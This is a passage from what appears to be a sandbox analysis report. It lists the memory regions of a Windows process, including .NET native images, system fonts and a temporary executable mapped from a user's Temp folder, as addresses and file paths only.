"c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\system.drawing.ni.dll") Region: id = 1568 start_va = 0x7feee5f0000 end_va = 0x7feef685fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.windows.forms\\6c352ff9e3603b0e69d969ff7e7632f5\\system.windows.forms.ni.dll") Region: id = 1569 start_va = 0x7ff001a0000 end_va = 0x7ff001affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 1570 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1571 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1572 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1573 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1574 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1575 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1576 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1577 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 1578 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 1579 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1580 start_va = 0x5b0000 end_va = 0x5b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1581 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 1582 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1583 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1584 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1585 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1586 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1587 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1588 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1589 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 1590 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 1591 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1597 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1598 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1603 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1604 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1605 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1606 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1607 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1608 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1609 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1610 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1611 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1612 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 1613 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 1614 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1615 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 1616 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 1617 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 1618 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 1619 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1620 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 1621 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1625 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1626 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1627 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1635 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1636 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1641 start_va = 0xaa0000 end_va = 0xac8fff monitored = 1 entry_point = 0xab47aa region_type = mapped_file name = "tmp_asdqwd2.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe") Region: id = 1642 start_va = 0x2d0000 end_va = 0x2d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 1645 start_va = 0xaa0000 end_va = 0xae0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 1646 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 1647 start_va = 0xb20000 end_va = 0xb30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 1650 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1651 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1652 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1661 start_va = 0x1050000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1662 start_va = 0x7fefb900000 end_va = 0x7fefbb14fff monitored = 0 entry_point = 0x7fefbad64b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1663 start_va = 0x1af80000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 1664 start_va = 0xc40000 end_va = 0xc5bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 1665 start_va = 0x1b180000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 1666 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1667 start_va = 0x1b010000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b010000" filename = "" Region: id = 1668 start_va = 0x1b280000 end_va = 0x1b32afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 1669 start_va = 0x1b280000 end_va = 0x1b32afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 1670 start_va = 0x1b280000 end_va = 0x1c728fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 1671 start_va = 0x1b280000 end_va = 0x1c728fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 1678 start_va = 0x1b280000 end_va = 0x1c742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 1679 start_va = 0x1b280000 end_va = 0x1c742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 1680 start_va = 0x1b280000 end_va = 0x1b6a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 1681 start_va = 0x1b280000 end_va = 0x1b6a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 1682 start_va = 0x1b6b0000 end_va = 0x1b8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6b0000" filename = "" Region: id = 1683 start_va = 0x1b280000 end_va = 0x1b31ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 1684 start_va = 0x1b280000 end_va = 0x1b31ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 1685 start_va = 0x1af80000 end_va = 0x1affefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 1686 start_va = 0x1b000000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b000000" filename = "" Region: id = 1687 start_va = 0x1af80000 end_va = 0x1affefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 1690 start_va = 0x1af80000 end_va = 0x1affffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 1691 start_va = 0x7fefb6f0000 end_va = 0x7fefb707fff monitored = 0 entry_point = 0x7fefb6f1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2043 start_va = 0xa00000 end_va = 0xa04fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2044 start_va = 0x1b8b0000 end_va = 0x1c1dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2045 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 2046 start_va = 0xa00000 end_va = 0xa04fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2047 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 2048 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 2049 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 2050 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2051 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 2052 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 2053 start_va = 0x1090000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 2054 start_va = 0x10a0000 end_va = 0x10affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 2055 start_va = 0x10b0000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 2056 start_va = 0x10c0000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 2057 start_va = 0x10d0000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 2058 start_va = 0x12c0000 end_va = 0x12cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 2059 start_va = 0x12d0000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 2060 start_va = 0x1360000 end_va = 0x136ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 2061 start_va = 0x1370000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 2062 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 2063 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 2064 start_va = 0x1b130000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b130000" filename = "" Region: id = 2065 start_va = 0x1b140000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 2066 start_va = 0x1b150000 end_va = 0x1b15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b150000" filename = "" Region: id = 2067 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 2068 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 2069 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 2070 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 2071 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 2072 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 2073 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 2074 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 2075 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 2076 start_va = 0x1b2f0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 2077 start_va = 0x1b4f0000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 2078 start_va = 0x1b500000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 2079 start_va = 0x1b510000 end_va = 0x1b51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 2080 start_va = 0x1b520000 end_va = 0x1b52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 2081 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 2082 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 2083 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 2084 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 2085 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2086 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2087 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2088 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2089 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 2090 start_va = 0x1b5c0000 end_va = 0x1b5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 2091 start_va = 0x1b5d0000 end_va = 0x1b5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5d0000" filename = "" Region: id = 2092 start_va = 0x1b5e0000 end_va = 0x1b5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5e0000" filename = "" Region: id = 2093 start_va = 0x1b5f0000 end_va = 0x1b5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5f0000" filename = "" Region: id = 2094 start_va = 0x1b600000 end_va = 0x1b60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b600000" filename = "" Region: id = 2095 start_va = 0x1b610000 end_va = 0x1b61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b610000" filename = "" Region: id = 2096 start_va = 0x1b620000 end_va = 0x1b62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b620000" filename = "" Region: id = 2097 start_va = 0x1b630000 end_va = 0x1b63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b630000" filename = "" Region: id = 2098 start_va = 0x1b640000 end_va = 0x1b64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b640000" filename = "" Region: id = 2099 start_va = 0x1b650000 end_va = 0x1b65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b650000" filename = "" Region: id = 2100 start_va = 0x1b660000 end_va = 0x1b66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b660000" filename = "" Region: id = 2101 start_va = 0x1b670000 end_va = 0x1b67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b670000" filename = "" Region: id = 2102 start_va = 0x1b680000 end_va = 0x1b68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b680000" filename = "" Region: id = 2103 start_va = 0x1b690000 end_va = 0x1b69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 2104 start_va = 0x1b6a0000 end_va = 0x1b6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6a0000" filename = "" Region: id = 2105 start_va = 0x1c1e0000 end_va = 0x1c1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c1e0000" filename = "" Region: id = 2106 start_va = 0x1c1f0000 end_va = 0x1c1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c1f0000" filename = "" Region: id = 2107 start_va = 0x1c200000 end_va = 0x1c20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c200000" filename = "" Region: id = 2108 start_va = 0x1c210000 end_va = 0x1c21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c210000" filename = "" Region: id = 2109 start_va = 0x1c220000 end_va = 0x1c22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c220000" filename = "" Region: id = 2110 start_va = 0x1c230000 end_va = 0x1c23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c230000" filename = "" Region: id = 2111 start_va = 0x1c240000 end_va = 0x1c24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c240000" filename = "" Region: id = 2112 start_va = 0x1c250000 end_va = 0x1c25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c250000" filename = "" Region: id = 2113 start_va = 0x1c260000 end_va = 0x1c26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c260000" filename = "" Region: id = 2114 start_va = 0x1c270000 end_va = 0x1c27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c270000" filename = "" Region: id = 2115 start_va = 0x1c280000 end_va = 0x1c28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c280000" filename = "" Region: id = 2116 start_va = 0x1c290000 end_va = 0x1c29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c290000" filename = "" Region: id = 2117 start_va = 0x1c2a0000 end_va = 0x1c2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c2a0000" filename = "" Region: id = 2118 start_va = 0x1c2b0000 end_va = 0x1c2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c2b0000" filename = "" Region: id = 2119 start_va = 0x1c2c0000 end_va = 0x1c2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c2c0000" filename = "" Region: id = 2120 start_va = 0x1c2d0000 end_va = 0x1c2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c2d0000" filename = "" Region: id = 2121 start_va = 0x1c2e0000 end_va = 0x1c2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c2e0000" filename = "" Region: id = 2122 start_va = 0x1c2f0000 end_va = 0x1c2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c2f0000" filename = "" Region: id = 2123 start_va = 0x1c300000 end_va = 0x1c30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c300000" filename = "" Region: id = 2124 start_va = 0x1c310000 end_va = 0x1c31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c310000" filename = "" Region: id = 2125 start_va = 0x1c320000 end_va = 0x1c32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c320000" filename = "" Region: id = 2126 start_va = 0x1c330000 end_va = 0x1c33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c330000" filename = "" Region: id = 2127 start_va = 0x1c340000 end_va = 0x1c34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c340000" filename = "" Region: id = 2128 start_va = 0x1c350000 end_va = 0x1c35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c350000" filename = "" Region: id = 2129 start_va = 0x1c360000 end_va = 0x1c36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c360000" filename = "" Region: id = 2130 start_va = 0x1c370000 end_va = 0x1c37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c370000" filename = "" Region: id = 2131 start_va = 0x1c380000 end_va = 0x1c38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c380000" filename = "" Region: id = 2132 start_va = 0x1c390000 end_va = 0x1c39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c390000" filename = "" Region: id = 2133 start_va = 0x1c3a0000 end_va = 0x1c3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3a0000" filename = "" Region: id = 2134 start_va = 0x1c3b0000 end_va = 0x1c3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3b0000" filename = "" Region: id = 2135 start_va = 0x1c3c0000 end_va = 0x1c3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3c0000" filename = "" Region: id = 2136 start_va = 0x1c3d0000 end_va = 0x1c3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3d0000" filename = "" Region: id = 2137 start_va = 0x1c3e0000 end_va = 0x1c3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3e0000" filename = "" Region: id = 2138 start_va = 0x1c3f0000 end_va = 0x1c3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c3f0000" filename = "" Region: id = 2139 start_va = 0x1c400000 end_va = 0x1c40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c400000" filename = "" Region: id = 2140 start_va = 0x1c410000 end_va = 0x1c41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c410000" filename = 